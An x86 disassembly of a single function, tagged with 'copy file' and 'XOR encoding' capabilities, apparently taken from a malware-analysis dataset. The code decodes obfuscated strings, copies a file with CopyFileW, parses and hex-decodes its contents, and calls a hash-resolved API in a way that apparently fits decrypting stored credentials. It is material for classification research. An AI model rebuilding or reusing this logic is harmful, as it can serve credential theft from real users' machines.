Function at 0x428db8
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.004283e0
add esp, 4
test al, al
je 0x428a90
mov al, 1
ret
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xe0
push eax
mov dword [ebp - 0x44], esp
sub esp, 0x28
mov ebx, esp
sub esp, 8
mov dword [ebp - 0xa4], esp
sub esp, 8
mov dword [ebp - 0xa8], esp
sub esp, 8
mov dword [ebp - 0x40], esp
sub esp, 0x24
mov dword [ebp - 0xac], esp
mov dword [ebp - 0xec], 0x37c439e1
mov dword [ebp - 0xe8], 0x33be35bb
mov dword [ebp - 0xe4], 0xcf3a31d1
mov dword [ebp - 0xe0], 0xcb1acd38
mov dword [ebp - 0xdc], 0xc74ac929
mov dword [ebp - 0xd8], 0xc3c2c53c
mov word [ebp - 0xd4], 0
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 0x76
xor cl, byte [ebp + eax - 0xec]
add cl, 0xb2
mov byte [ebp + eax - 0xec], cl
inc eax
cmp eax, 0x1a
jne 0x428b10
mov dword [ebp - 0x98], 0x350015c
mov dword [ebp - 0x94], 0x7410541
mov dword [ebp - 0x90], 0xb590941
mov dword [ebp - 0x8c], 0xf5c0d58
mov dword [ebp - 0x88], 0x134e1149
mov dword [ebp - 0x84], 0x17571559
mov dword [ebp - 0x80], 0x1b52195b
mov dword [ebp - 0x7c], 0x1f501d55
mov dword [ebp - 0x78], 0x237e2165
mov dword [ebp - 0x74], 0x27692577
mov dword [ebp - 0x70], 0x2b7e296e
mov dword [ebp - 0x6c], 0x2f6f2d7b
mov dword [ebp - 0x68], 0x33773162
mov dword [ebp - 0x64], 0x37603568
mov dword [ebp - 0x60], 0x3b563959
mov dword [ebp - 0x5c], 0x3f5b3d4a
mov dword [ebp - 0x58], 0x4311411c
mov dword [ebp - 0x54], 0x47234530
mov dword [ebp - 0x50], 0x4b274929
mov word [ebp - 0x4c], 0x4d4c
mov dword [ebp - 0x4a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + eax - 0x98]
mov ecx, eax
and ecx, edx
mov edi, ecx
or edi, 0xfd
inc edi
mov esi, ecx
and esi, 0x7d
imul esi, edi
mov edi, ecx
xor edx, eax
lea edx, [edx + ecx*2]
and ecx, 2
or edi, 2
imul edi, ecx
sub esi, edi
add edx, esi
mov byte [ebp + eax - 0x98], dl
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
or ecx, 1
and ecx, edx
mov edx, ecx
and edx, 0x7d
mov esi, ecx
and esi, 2
or ecx, 2
imul ecx, esi
xor esi, 2
imul esi, edx
lea edx, [eax + eax]
and edx, 2
sub eax, edx
add eax, ecx
add eax, esi
inc eax
cmp eax, 0x52
jb case.default.0x428c6b
lea esi, [ebp - 0xec]
lea eax, [ebp - 0x98]
push esi
push eax
call fcn.004388b0
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x447c48]
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x428c80
sub eax, edi
cmp eax, 0xffffffd9
jge 0x428cad
mov eax, 0xffffffff
jmp 0x428cb0
jmp dword [0x447c58]
xor eax, eax
jmp 0x429444
add eax, 0x26
push eax
call fcn.00408730
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x98], 0xe17be740
mov dword [ebp - 0x94], 0xdd74e371
mov dword [ebp - 0x90], 0xd945df42
mov dword [ebp - 0x8c], 0xd57edb41
mov dword [ebp - 0x88], 0xd147d749
mov dword [ebp - 0x84], 0xcd4cd346
mov dword [ebp - 0x80], 0xc957cf57
mov dword [ebp - 0x7c], 0xc544cb9e
mov dword [ebp - 0x78], 0xc158c758
mov word [ebp - 0x74], 0xc3c0
mov dword [ebp - 0x72], 0
mov byte [ebp - 0x6e], 0
xor eax, eax
mov ecx, eax
add cl, 0x59
xor cl, byte [ebp + eax - 0x98]
add cl, 0x43
mov byte [ebp + eax - 0x98], cl
inc eax
cmp eax, 0x2b
jne 0x428d20
movzx ecx, word [edi]
mov eax, dword [ebp - 0x10]
test cx, cx
je 0x428d61
mov edx, edi
add edx, 2
mov eax, dword [ebp - 0x10]
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428d50
mov word [eax], 0
movzx ecx, word [ebp - 0x98]
test cx, cx
je 0x428d91
lea edx, [ebp - 0x96]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428d80
mov word [eax], 0
jmp dword [0x447c60]
push edi
call fcn.00408740
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0x10]
cmp word [ecx], 0x2a
sete al
jmp dword [eax*4 + 0x447c68]
xor eax, eax
mov ecx, dword [ebp - 0x10]
cmp word [ecx], 0x2a
sete al
jmp dword [eax*4 + 0x447c68]
mov dword [ebp - 0x98], 0x13c0749
mov dword [ebp - 0x94], 0xd6f0364
mov dword [ebp - 0x90], 0x9780f7d
mov dword [ebp - 0x8c], 0x15610b66
mov dword [ebp - 0x88], 0x1172177d
mov dword [ebp - 0x84], 0x1d63137d
mov dword [ebp - 0x80], 0x19701f6a
mov dword [ebp - 0x7c], 0x25731b73
mov dword [ebp - 0x78], 0x21582712
mov dword [ebp - 0x74], 0x2d4c234c
mov dword [ebp - 0x70], 0x2f2c
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
inc cl
xor cl, byte [ebp + eax - 0x98]
add cl, 0xfb
mov byte [ebp + eax - 0x98], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x2b
jbe case.default.0x428e81
push 0
lea eax, [ebp - 0x98]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push esi
push dword [ebp - 0x10]
call fcn.0043fc50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447c70]
mov dword [ebp - 0x38], ebx
xor esi, esi
xor ebx, ebx
jmp dword [0x447cc0]
push dword [ebp - 0x10]
call fcn.00408740
add esp, 4
xor eax, eax
cmp esi, ebx
sete al
jmp dword [eax*4 + 0x447cc8]
xor eax, eax
test esi, esi
jne 0x429413
jmp 0x429444
mov dword [ebp - 0x38], ebx
mov esi, dword [ebp - 0xec]
jmp dword [0x447c7c]
lea eax, [ebp - 0x28]
push 0
push eax
push esi
call fcn.0043ffe0
add esp, 0xc
nop
nop
nop
nop
nop
lea eax, [ebp - 0x28]
push 0
push eax
push esi
call fcn.0043ffe0
add esp, 0xc
jmp dword [0x447c80]
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x447c88]
mov esi, dword [ebp - 0x28]
lea eax, [esi + 1]
push eax
call fcn.00408730
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [ebp - 0xec]
call fcn.004400d0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x447c90]
mov esi, dword [ebp - 0x28]
mov byte [edi + esi], 0
push 0x20
call fcn.00408730
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x2c], eax
mov ecx, eax
push esi
mov dword [ebp - 0x34], edi
push edi
call fcn.0042b830
movzx eax, al
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x447c98]
mov dword [ebp - 0x98], 0x3b343a5f
mov dword [ebp - 0x94], 0x26342c07
mov dword [ebp - 0x90], 0x3b272b73
mov dword [ebp - 0x8c], 0x4c69200e
mov dword [ebp - 0x88], 0x223f3c2c
mov dword [ebp - 0x84], 0x34355c6f
mov dword [ebp - 0x80], 0x23242423
mov word [ebp - 0x7c], 0x9523
mov dword [ebp - 0x7a], 0
mov eax, 0xe2
mov ecx, 0x1d
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + eax - 0x17a]
mov esi, eax
or esi, edx
not edx
or edx, ecx
and edx, esi
add dl, 0x96
mov byte [ebp + eax - 0x17a], dl
inc eax
dec ecx
cmp eax, 0x104
jne case.default.0x42902d
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x98]
push eax
call fcn.0042ba20
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
jmp dword [ecx*4 + 0x447ca0]
mov edi, dword [ebp - 0x34]
jmp dword [0x447cb0]
mov ecx, dword [ebp - 0x2c]
call fcn.0042bba0
push dword [ebp - 0x2c]
call fcn.00408740
add esp, 4
jmp dword [0x447cb8]
jmp dword [0x447cb8]
push edi
call fcn.00408740
add esp, 4
mov dword [ebp - 0x14], esi
mov esi, ebx
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x98], 0x989b9a9d
mov byte [ebp - 0x94], 0
mov ecx, 0x2044b61b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx - 0x2044b6b3]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x79
mov byte [ebp + ecx - 0x2044b6b3], dl
inc ecx
cmp ecx, 0x2044b620
jne 0x429090
mov ecx, dword [0x44ce64]
test ecx, ecx
mov ebx, esi
je 0x4290fc
mov edx, dword [ebp - 0x98]
xor esi, esi
mov edi, dword [0x44ce68]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x4290f0
inc esi
cmp ecx, esi
jne 0x4290e0
jmp 0x4290fc
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42944c
mov esi, dword [ebp - 0x14]
jmp dword [0x447cc0]
xor eax, eax
cmp esi, ebx
sete al
jmp dword [eax*4 + 0x447cc8]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x98], 0xe132e7db
mov dword [ebp - 0x94], 0xfd1fe311
mov dword [ebp - 0x90], 0xf90aff1f
mov dword [ebp - 0x8c], 0xf50afb3b
mov dword [ebp - 0x88], 0xf12af704
mov dword [ebp - 0x84], 0x8d7ef313
mov dword [ebp - 0x80], 0x89b18f6f
mov dword [ebp - 0x7c], 0x85678b6c
mov dword [ebp - 0x78], 0x81798708
mov dword [ebp - 0x74], 0x9d758363
mov dword [ebp - 0x70], 0x996a9f78
mov dword [ebp - 0x6c], 0x95679b69
mov dword [ebp - 0x68], 0x91629777
mov dword [ebp - 0x64], 0xad1c93a6
mov dword [ebp - 0x60], 0xa950af50
lea eax, [ebp - 0x5c]
mov word [ebp - 0x5c], 0xaba8
mov dword [ebp - 0x5a], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa9
xor dl, byte [ebp + ecx - 0x98]
add dl, 0xb3
mov byte [ebp + ecx - 0x98], dl
inc ecx
cmp ecx, 0x42
jne 0x4291b0
lea edx, [ebp - 0x98]
mov ecx, 0xf
lea esi, [ebp - 0xec]
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [ebp - 0xb0]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x44ce60]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x98], 0xb7f609e7
mov ecx, 0x2d131a01
mov eax, 0x52ece5ff
mov edi, 0xaa7602fd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 0x1c], eax
movzx ebx, byte [ebp + edi + 0x5589fc6b]
lea esi, [ecx - 0x80000000]
xor esi, ebx
or esi, ecx
add esi, eax
mov edx, esi
not edx
mov eax, esi
and eax, 0xfffffffd
and edx, 2
imul edx, eax
mov eax, esi
or eax, 2
shr esi, 1
and esi, 1
imul esi, eax
lea eax, [edx + esi*2]
mov edx, edi
sub edx, eax
add eax, ecx
add eax, 0x80000001
and edx, ebx
not ebx
and ebx, eax
sub ebx, edx
mov eax, ebx
and eax, 0x77
add eax, eax
xor ebx, 8
sub ebx, eax
mov eax, dword [ebp - 0x1c]
add bl, 2
mov byte [ebp + edi + 0x5589fc6b], bl
dec ecx
inc eax
inc edi
cmp ecx, 0x2d1319fd
jne 0x429230
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x98]
setne cl
xor eax, eax
mov ebx, dword [ebp - 0x20]
jmp dword [ecx*4 + 0x447cd0]
mov esi, dword [ebp - 0x28]
test esi, esi
jns 0x4292c5
mov eax, 0xffffffff
jmp 0x4292c8
lea eax, [esi + esi]
push eax
call fcn.00408730
add esp, 4
mov edi, eax
lea eax, [ebp - 0x28]
push eax
push esi
push edi
push 0x1e
lea eax, [ebp - 0xec]
push eax
push 0
call dword [0x44ce60]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447cd8]
xor eax, eax
jmp dword [0x447ce0]
push edi
call fcn.00408740
add esp, 4
xor eax, eax
jmp case.0x42902d.12
mov eax, ebx
mov esi, dword [ebp - 0x14]
sub eax, esi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408730
add esp, 4
mov ecx, edi
mov edi, eax
lea eax, [ebp - 0x9c]
push 0x60
push 3
push 0x120089
push eax
mov dword [ebp - 0x30], ecx
push ecx
call fcn.0043fc50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447ce8]
xor edx, edx
mov dword [ebp - 0x10], edi
jmp dword [0x447d90]
mov dword [ebp - 0x14], esi
push dword [ebp - 0x30]
mov esi, edi
mov edi, edx
call fcn.00408740
add esp, 4
mov edx, edi
mov edi, esi
mov esi, dword [ebp - 0x14]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x447d98]
mov eax, dword [ebp - 0x10]
mov byte [eax], 0
mov edx, dword [ebp - 0xac]
mov dword [edx], 0x878281d1
mov dword [edx + 4], 0x83fffef5
mov dword [edx + 8], 0x888c8ef1
mov dword [edx + 0xc], 0xea9af6d3
mov dword [edx + 0x10], 0xffd594e1
mov dword [edx + 0x14], 0x99e3e69b
mov dword [edx + 0x18], 0x9396df9b
mov dword [edx + 0x1c], 0x35a8
mov byte [edx + 0x20], 0
xor eax, eax
mov ecx, eax
add cl, 0x44
xor cl, byte [edx + eax]
add cl, 0xac
mov byte [edx + eax], cl
inc eax
cmp eax, 0x21
jne 0x4293d0
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x10]
sub eax, edi
mov ecx, dword [ebp + 8]
push eax
push edi
push edx
call fcn.00409630
jmp dword [0x447da0]
push edi
mov esi, eax
call fcn.00408740
mov eax, esi
add esp, 4
and al, 1
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x429444
cmp esi, ebx
je 0x429444
mov dword [ebp - 0x18], eax
mov edi, esi
jmp 0x429427
add esi, 8
cmp esi, ebx
je 0x429438
mov eax, dword [esi]
test eax, eax
je 0x429420
push eax
call fcn.00408740
add esp, 4
jmp 0x429420
push edi
call fcn.00408740
add esp, 4
mov eax, dword [ebp - 0x18]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
push 4
push ecx
push dword [0x44ce6c]
call fcn.0043d480
add esp, 0x10
mov esi, dword [ebp - 0x14]
jmp dword [0x447cc0]
push 0
mov esi, edi
mov edi, dword [ebp - 0x44]
push edi
push dword [ebp - 0x9c]
call fcn.0043ffe0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], esi
jmp dword [eax*4 + 0x447cf0]
mov esi, dword [edi]
lea eax, [esi + 1]
push eax
call fcn.00408730
add esp, 4
push 0
push esi
mov dword [ebp - 0x34], eax
push eax
push dword [ebp - 0x9c]
call fcn.004400d0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
mov esi, dword [ebp - 0x24]
jmp dword [eax*4 + 0x447cf8]
mov esi, dword [edi]
mov edi, dword [ebp - 0x34]
mov byte [edi + esi], 0
push 0x20
call fcn.00408730
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0xa0], eax
mov ecx, eax
push esi
push edi
call fcn.0042b830
movzx eax, al
mov dword [ebp - 0x18], 0
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x10], esi
jmp dword [eax*4 + 0x447d00]
mov edx, dword [ebp - 0x38]
mov dword [edx], 0x5da856b9
mov dword [edx + 4], 0xa250a059
mov dword [edx + 8], 0x5dadb19d
mov dword [edx + 0xc], 0x889ba456
mov dword [edx + 0x10], 0x66959868
mov dword [edx + 0x14], 0x6b63bea1
mov dword [edx + 0x18], 0x6593906a
mov dword [edx + 0x1c], 0x8d9798b5
mov word [edx + 0x20], 0xe78b
mov dword [edx + 0x22], 0
xor edi, edi
movzx eax, byte [edx + edi]
lea ecx, [edi + 0x68919451]
and ecx, eax
add eax, edi
add eax, 0x68919451
add ecx, ecx
sub eax, ecx
mov ecx, eax
xor ecx, 0x69
and eax, 0x69
lea eax, [ecx + eax*2]
add al, 2
mov byte [edx + edi], al
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
cmp edi, 0x26
jb case.default.0x4295cb
mov ecx, dword [ebp - 0xa0]
push edx
call fcn.0042ba20
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], esi
jmp dword [ecx*4 + 0x447d08]
mov esi, dword [ebp - 0x10]
jmp dword [0x447d80]
mov edi, dword [ebp - 0xa0]
mov ecx, edi
call fcn.0042bba0
push edi
call fcn.00408740
add esp, 4
jmp dword [0x447d88]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebx, ebx
xor edx, edx
xor esi, esi
jmp dword [eax*4 + 0x447ca8]
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov dword [esi + eax + 4], ecx
add ebx, 8
mov ecx, dword [ebp - 0x3c]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
mov edx, dword [ebp - 0x24]
jmp dword [eax*4 + 0x447ca8]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ecx]
mov dword [ebp - 0x1c], eax
mov ecx, ebx
sub ecx, edi
cmp ebx, edx
mov dword [ebp - 0x30], ecx
je 0x42965f
mov esi, edi
jmp 0x4296d5
mov dword [ebp - 0x24], edx
mov eax, edx
sub eax, edi
sar eax, 3
mov ebx, eax
shr ebx, 1
add ebx, eax
mov eax, ecx
sar eax, 3
inc eax
cmp ebx, eax
ja 0x42967b
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.00408730
add esp, 4
mov esi, eax
test edi, edi
je 0x4296cb
mov edx, dword [ebp - 0x24]
cmp edi, edx
je 0x4296c2
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x4296a0
push edi
call fcn.00408740
add esp, 4
lea edx, [esi + ebx*8]
mov ebx, esi
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], edx
mov dword [esi + ecx], 0
mov dword [esi + ecx + 4], 0
xor eax, eax
mov edi, dword [ebp - 0x1c]
nop
cmp byte [edi + eax], 0
lea eax, [eax + 1]
jne 0x4296f0
push eax
mov ebx, eax
call fcn.00408730
add esp, 4
mov dword [ebp - 0x14], esi
mov ecx, dword [ebp - 0x30]
mov dword [esi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, edi
mov esi, edi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, esi
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [ebp - 0x18], ebx
mov ecx, ebx
inc cl
test cl, 1
mov ebx, dword [ebp - 0x20]
jne 0x429762
mov esi, dword [ebp - 0x18]
mov ecx, esi
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor ecx, ecx
cmp esi, 1
je 0x429620
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
mov edx, dword [ebp - 0x1c]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebx, edi
shl ebx, 0x1d
sar ebx, 0x1f
and ebx, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebx
mov ebx, edi
shl ebx, 0x1b
sar ebx, 0x1f
and ebx, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebx
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp dword [ebp - 0x18], eax
jne 0x429770
not ecx
mov ebx, dword [ebp - 0x20]
jmp 0x429620
jmp dword [0x447d88]
push dword [ebp - 0x34]
call fcn.00408740
add esp, 4
mov dword [ebp - 0x10], esi
mov esi, ebx
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x98], 0x989b9a9d
mov byte [ebp - 0x94], 0
mov ecx, 0x2044b61b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx - 0x2044b6b3]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x79
mov byte [ebp + ecx - 0x2044b6b3], dl
inc ecx
cmp ecx, 0x2044b620
jne 0x429850
mov ecx, dword [0x44ce64]
test ecx, ecx
mov ebx, esi
je 0x4298b8
mov edx, dword [ebp - 0x98]
xor esi, esi
mov edi, dword [0x44ce68]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x4298b0
inc esi
cmp ecx, esi
jne 0x4298a0
jmp 0x4298b8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4298e0
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x24]
mov edx, dword [ebp - 0x18]
jmp dword [0x447d90]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x447d98]
mov dword [ebp - 0x14], esi
jmp dword [0x447da0]
push eax
push 4
push ecx
push dword [0x44ce6c]
call fcn.0043d480
add esp, 0x10
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x24]
mov edx, dword [ebp - 0x18]
jmp dword [0x447d90]
add eax, 8
mov dword [ebp - 0x18], 0
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
mov dword [ebp - 0x10], esi
mov esi, ecx
jmp dword [eax*4 + 0x447d10]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447d10]
mov edx, dword [esi]
cmp dword [esi + 0x18], 3
mov edi, 0
jne case.default.0x429952
mov edi, dword [esi + 0x10]
test edx, edx
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447d18]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x20], ebx
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x429999
sub ecx, edi
inc ecx
shr ecx, 1
mov dword [ebp - 0x2c], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408730
add esp, 4
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [ebp - 0x3c], eax
jmp dword [edx*4 + 0x447d20]
mov byte [eax], cl
inc eax
movsx ecx, byte [esi]
xor ebx, ebx
test ecx, ecx
setne bl
mov edi, esi
jmp dword [ebx*4 + 0x447d20]
mov dword [ebp - 0x1c], edi
lea esi, [edi + 1]
mov ebx, ecx
or ebx, 0x20
lea edi, [ebx - 0x61]
cmp edi, 5
ja case.default.0x4299df
and ecx, 0xffffff9e
xor ebx, 0xffffff9e
lea ecx, [ebx + ecx*2]
add ecx, 0xb
movsx ebx, byte [esi]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x447d28]
add ecx, 0xffffffd0
cmp ecx, 0xa
jb case.default.0x429a07
mov ecx, 0xffffffff
movsx ebx, byte [esi]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x447d28]
shl ecx, 4
mov edi, dword [ebp - 0x1c]
add edi, 2
mov edx, ebx
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 5
ja case.default.0x429a3f
and ebx, 0xffffff9e
xor edx, 0xffffff9e
lea edx, [edx + ebx*2]
add edx, 0xb
or edx, ecx
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x447d20]
add ebx, 0xffffffd0
cmp ebx, 0xa
jb case.default.0x429a6c
mov ebx, 0xffffffff
or ebx, ecx
mov byte [eax], bl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x447d20]
mov byte [eax], 0
mov dword [ebp - 0x1c], 0
push 0
push 0x10
push 0
push dword [ebp - 0x38]
call fcn.0042bc40
add esp, 0x10
xor ecx, ecx
mov esi, dword [ebp - 0x14]
cmp esi, dword [ebp - 0x20]
setne cl
jmp dword [ecx*4 + 0x447d30]
mov ecx, dword [esi]
mov dword [ebp - 0x1c], ecx
xor edi, edi
jmp dword [edi*4 + 0x447d40]
add esi, 8
xor ebx, ebx
cmp esi, dword [ebp - 0x20]
setne bl
jmp dword [ebx*4 + 0x447d30]
mov ebx, dword [esi + 4]
mov edi, ebx
shr edi, 0x1c
shl ebx, 4
or ebx, 1
xor edi, edx
xor ebx, eax
xor ecx, ecx
or ebx, edi
sete cl
jmp dword [ecx*4 + 0x447d38]
mov ecx, 1
jmp dword [ecx*4 + 0x447d40]
xor eax, eax
mov edx, dword [ebp - 0x1c]
test edx, edx
setne al
jmp dword [eax*4 + 0x447d48]
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x44]
jmp dword [0x447d68]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [eax + 4], ecx
mov eax, 0xffffffff
nop
cmp byte [edx + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x429b77
mov esi, dword [ebp - 0xa8]
mov dword [esi], eax
mov dword [esi + 4], edx
mov dword [ebp - 0x1c], edx
mov edi, dword [ebp - 0x40]
mov dword [edi], 0
mov dword [edi + 4], 0
push 0xe18a387a
push dword [0x44ce70]
call fcn.0043f1e0
add esp, 8
push edi
push 1
push 0
push 0
push esi
push 0
push dword [ebp - 0xa4]
call eax
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [ebp - 0x20]
jmp dword [ecx*4 + 0x447d50]
mov esi, dword [ebp - 0x1c]
movzx eax, byte [esi]
test al, al
je 0x429b9c
inc esi
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x10]
mov byte [edx], al
inc edx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x429b8f
jmp 0x429ba2
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x10]
mov word [edx], 0x203a
mov eax, edx
add eax, 2
mov esi, dword [ecx]
test esi, esi
je 0x429bd9
mov ecx, dword [ecx + 4]
mov edx, esi
and edx, 3
je 0x429bdd
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x429bbe
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x429bdf
mov esi, eax
jmp 0x429c1f
mov edx, esi
cmp esi, 4
mov esi, edi
jb 0x429c1f
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x429be6
mov byte [esi], 0xa
inc esi
mov dword [ebp - 0x10], esi
